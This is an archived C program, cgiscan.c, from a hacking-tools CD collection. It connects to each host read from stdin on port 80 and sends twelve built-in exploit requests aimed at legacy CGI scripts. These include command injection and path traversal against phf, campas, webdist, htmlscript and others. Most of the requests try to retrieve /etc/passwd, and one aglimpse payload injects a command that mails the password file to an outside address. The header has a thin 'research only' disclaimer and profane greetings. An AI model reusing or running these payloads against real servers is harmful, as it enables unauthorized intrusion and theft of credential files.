home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / cgiscan.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  4.1 KB  |  136 lines

  1. /* This source is absolutely free to use and modify at you own risk, please
  2. do not change some chars and say that this program is yours or i'll die the
  3. next day... ;). Pay attention, this file is for research purpose only, do not
  4. use it into any hacking way. Is possible to be logged while running the
  5. program, so PAY ATTENTION!.
  6. Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.
  7.  
  8. Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!
  9. I want also give a big thanks to:
  10.  
  11. Goku: my linux guru
  12. SMaster: my prezident
  13. MaNdraKe: and his future girlfriends
  14. Pr3dator: for his help on linux (go slower on cars!:pPp)
  15. PhoenYx: the best italian hacker
  16. Berk: a cool friend and a wannabe hacker
  17. xOANON: the best cracker all around
  18. Golem: for his bot, what about setting it on #softpj? ;)
  19. Spaceone: a good friend
  20. TanK_GirL: a future hacker! (i hope)
  21. RootShell: for many source and ideas
  22.  
  23. I want also give a big fuck to:
  24.  
  25. Telecom Italia: u must die!
  26. WarLords: Good ircwarriors but stupid people
  27. Alexb: pay attention at your fuckin' shells
  28. Lamers: try to be more newbies!  
  29.  
  30. by |scacco|  
  31.  
  32. Add-on By Dark Schneider
  33.  
  34. */
  35.  
  36. #include <sys/stat.h>
  37. #include <sys/types.h>
  38. #include <termios.h>                   
  39. #include <stdio.h>
  40. #include <string.h>
  41. #include <fcntl.h>
  42. #include <sys/syslog.h>
  43. #include <sys/param.h>
  44. #include <sys/times.h>             
  45. #include <sys/time.h>                           
  46. #include <sys/socket.h>
  47. #include <netinet/in.h>
  48. #include <sys/signal.h>
  49. #include <arpa/inet.h>
  50. #include <netdb.h>
  51. #define MAXSTR 12
  52.  
  53. main (int argc, char *argv[])
  54. {
  55.   struct sockaddr_in sin;
  56.   /* int outsocket, serv_len, len,c,outfd; */
  57.   /* struct hostent *nametocheck; */
  58.   /* struct in_addr outgoing; */
  59.   struct hostent *hp;
  60.   char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  61.   int sock, i=0, X;
  62.    char  *stringhe[MAXSTR];
  63.    for(i=0;i<MAXSTR;i++) {
  64.     stringhe[i]=(char *) malloc(sizeof(char)*100);
  65.    }
  66.           
  67.     /* Classic PHF bug... It still Works! */
  68.      
  69.     stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
  70.   
  71.     /* test-cgi bug, possible to view documents location */
  72.     
  73.     stringhe[1]="GET /cgi-bin/test-cgi?*\n";
  74.   
  75.     /* htmlscript bug, a good language that can us have passwd ;) */
  76.         
  77.     stringhe[2]="GET /cgi-bin/htmlscript?../../../../etc/passwd\n";
  78.   
  79.     /* view-source bug, some httd use this... */
  80.     
  81.     stringhe[3]="GET /cgi-bin/view-source?../../../../etc/passwd\n";
  82.   
  83.     /* Wrap allow you to have a directory listing on IRIX 6.2 systems */
  84.       
  85.     stringhe[4]="GET /cgi-bin/wrap?/../../../../../etc\n";
  86.   
  87.     /* Campas allow you to get the passwd on NCSA server 1.2 */
  88.     
  89.     stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n";
  90.   
  91.     /* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */
  92.   
  93.     stringhe[6]="GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n";
  94.                   
  95.     stringhe[7]="GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\n";
  96.  
  97.     /* With aglimpse is possible to mail the password file anywhere :) */
  98.   
  99.     stringhe[8]="GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\@cyberdude.com\</etc/passwd;eval$CMD;echo\n"; 
  100.   
  101.     /* An interesting variant for phf*/
  102.  
  103.     stringhe[9]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";
  104.  
  105.     stringhe[10]="GET /cgi-bin/php.cgi?/etc/passwd\n";
  106.  
  107.     /* a new test-cgi but the bug is the same :) */
  108.  
  109.     stringhe[11]="GET /cgi-bin/nph-test-cgi?*\n";
  110.     
  111.   while(fgets(hosta,100,stdin))
  112.     {
  113.       if(hosta[0] == '\0')
  114.     break;
  115.       hosta[strlen(hosta) -1] = '\0';
  116.       write(1,hosta,strlen(hosta)*sizeof(char));
  117.     write(1,"\n",sizeof(char));
  118.      
  119.       hp = gethostbyname (hosta);
  120.   for(i=0;i<MAXSTR;i++) {
  121.    bzero((char*) &sin, sizeof(sin));
  122.    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  123.    sin.sin_family = hp->h_addrtype;
  124.    sin.sin_port = htons(80);
  125.    sock = socket(AF_INET, SOCK_STREAM, 0);
  126.    X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  127.    write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));  
  128.    while((X=read(sock,FileBuf,8096))!=0)
  129.    write(1,FileBuf,X);
  130.     
  131.    }
  132.  
  133.  }
  134.  printf("\nScacco&Dark Schneider - S0ft Pr0ject 98");
  135. }
  136.